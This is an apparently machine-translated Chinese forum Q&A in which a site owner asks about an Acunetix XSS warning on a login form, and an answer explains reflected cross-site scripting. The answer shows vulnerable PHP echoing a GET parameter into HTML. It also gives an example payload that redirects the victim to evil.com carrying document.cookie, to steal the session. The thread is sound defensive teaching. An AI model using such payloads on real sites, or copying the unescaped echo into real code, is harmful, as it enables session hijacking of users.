2012-01-12 70 views
1

我的网站上运行的Acunetix显示以下的JavaScript的Acunetix安全扫描警告

URL编码的GET输入用户名严重漏洞被设置为“的onmouseover =提示(994492)不良=”输入反映双之间的标记元素中引号。

我试图弄清楚可以用这个做什么。我对编码相当陌生,并且正在寻找一些提示。什么可以被视为恶意的用户名输入?输入的代码是否只能在客户端PC上运行,而不在服务器上运行?

例子?解决方案?对不起,我只包括了我相信它引用的内容。链接到我的网站,如果它有被剥削的危险,这不是不好吗?

<form name="loginForm" action="LoginName.asp" method="post"> 
    <fieldset> 
    <label for="username">User</label> 
    <input type="text" name="username" value=""/> 
    <label for="password">Password</label> 
    <input type="password" name="password"/> 
    </fieldset> 
    <input type="hidden" name="originalURL" value=""> 
    <input type="submit" value="Login" class="form-btn" /> 
</form> 

这似乎并不像用户名或OriginalURL并说“恶意用户可以插入JavaScript,VBScript中的ActiveX,HTML或Flash成漏洞的应用程序,以便从他们收集的数据来欺骗用户。一个攻击者可以窃取会话cookie并接管账户,冒充用户,也可以修改呈现给用户的页面内容。“

+0

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet – epascarello 2012-01-12 01:24:24

回答

1

您遇到的问题是跨站点脚本(XSS)漏洞。

XSS是一个客户端漏洞,因此对于您的问题“输入的任何代码只能在客户端PC上运行而不在服务器上运行?”,问题的答案是它实际上运行在用户的浏览器。

起初看起来似乎无害,但XSS可能会产生一些严重的后果,特别是在与其他攻击(如网络钓鱼)结合使用时。 XSS可以用于一些邪恶的东西,包括:

  • 窃取浏览器cookies并允许攻击者冒充谁是当前登录到一个应用程序
  • 网站涂改,或改变的布局用户
  • Drive-by downloads
  • 几乎任何你可以在浏览器中做

基于什么报道的Acunetix(onmouseover=prompt(994492) bad=)听起来李攻击者可以将"字符注入HTML属性的值中。我将尝试用一些示例PHP代码来解释我的意思。

// Vulnerable to Reflected XSS 
echo '<div class="' . $_GET['c'] . '"></div>'; 

在上面的例子,一个普通用户将使像的请求:

​​

而这将导致在下面被打印到页:

<div class="blue"></div> 

但是一个攻击者可以以某种方式说服用户(例如,通过网络钓鱼)做出以下要求:

GET /test.php?c="><script>window.location='http://evil.com/?cookie=' + document.cookie</script> HTTP/1.1 

这将导致:

<div class=""><script>window.location='http://evil.com/?cookie=' + document.cookie</script></div> 

一旦受害人提出这一请求,攻击者可以复制用户的cookie的内容,并模仿他们(假设受害者在攻击者窃取cookie时登录)。

想了解更多关于XSS的信息,我建议看看this article,这有点简单,但它应该是一个坚实的基础。

此外,我还建议阅读this article修复XSS漏洞。

此外,重新“如果链接到我的网站是否有被剥削的危险,这不是坏事吗?” - 最好不要,直到你至少修复它:)